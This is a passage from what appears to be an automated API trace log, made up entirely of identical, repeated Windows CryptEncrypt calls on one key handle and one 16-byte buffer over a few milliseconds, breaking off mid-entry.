[0163.403] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.403] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.403] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.404] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.404] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.404] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.404] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.404] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.404] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.404] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.404] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.404] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.404] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.404] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.404] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.404] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.404] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.404] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.404] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.404] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.405] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.405] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.405] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.405] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.405] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.405] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.405] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.405] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.405] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.405] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.405] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.405] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.405] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.405] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.405] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.406] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.406] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.406] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.406] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.406] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.406] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.406] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.406] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.406] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.406] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.406] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.406] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.406] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.406] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.406] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.407] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.407] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.407] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.407] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.407] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.407] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.407] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.407] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.407] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.407] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.407] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.408] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.408] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.408] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.408] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.408] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.408] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.408] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.408] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.408] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.408] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.408] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.408] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.408] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.408] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.408] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.408] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.408] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.408] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.408] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.408] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.408] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.408] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.409] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.409] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.409] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.409] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.409] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.409] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.409] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.409] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.409] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.409] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.409] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.409] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.409] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.409] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.409] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.409] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.409] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.409] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.409] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.409] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.409] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.409] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.409] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.410] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0163.410] CryptEncrypt (in: hKey=0x1639968, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, 